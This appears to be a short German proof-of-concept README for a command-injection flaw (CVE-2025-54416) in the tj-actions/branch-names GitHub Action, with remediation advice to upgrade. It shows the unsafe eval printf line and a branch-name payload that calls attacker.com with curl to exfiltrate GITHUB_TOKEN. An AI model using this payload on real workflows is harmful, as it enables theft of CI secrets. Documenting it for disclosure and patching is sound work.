
PoC für CVE-2025-54416 tj-actions/branch-names Befehlsinjektion
Dieses Repository demonstriert CVE-2025-54416, eine kritische Befehlsinjektions-Schwachstelle in tj-actions/branch-names, die über 5.000 öffentliche Repositories betrifft.
Die GitHub Action tj-actions/branch-names (Versionen <= 8.2.1) verwendet unsicheres eval printf "%s", wodurch nach ordnungsgemäßer Bereinigung erneut Befehlsinjektionsrisiken eingeführt werden.
# Verwundbares Codemuster in tj-actions/branch-names:
echo "base_ref_branch=$(eval printf "%s" "$BASE_REF")" >> "$GITHUB_OUTPUT"
tj-actions/[email protected], um den Branchnamen zu extrahierenBranchname: main$(curl https://attacker.com/exfil?secret=$GITHUB_TOKEN)
Wenn der Workflow ausgeführt wird:
echo "IMAGE_TAG=${{ steps.branch-name.outputs.current_branch }}"
# Tatsächliche Ausgabe: IMAGE_TAG=main$(curl https://attacker.com/exfil?secret=$GITHUB_TOKEN)
# Der $(...) wird von der Shell ausgewertet, wodurch GITHUB_TOKEN exfiltriert wird
Aktualisieren Sie auf tj-actions/branch-names@v9 oder neuer, das eval printf "%s" durch sichere printf-Aufrufe ersetzt.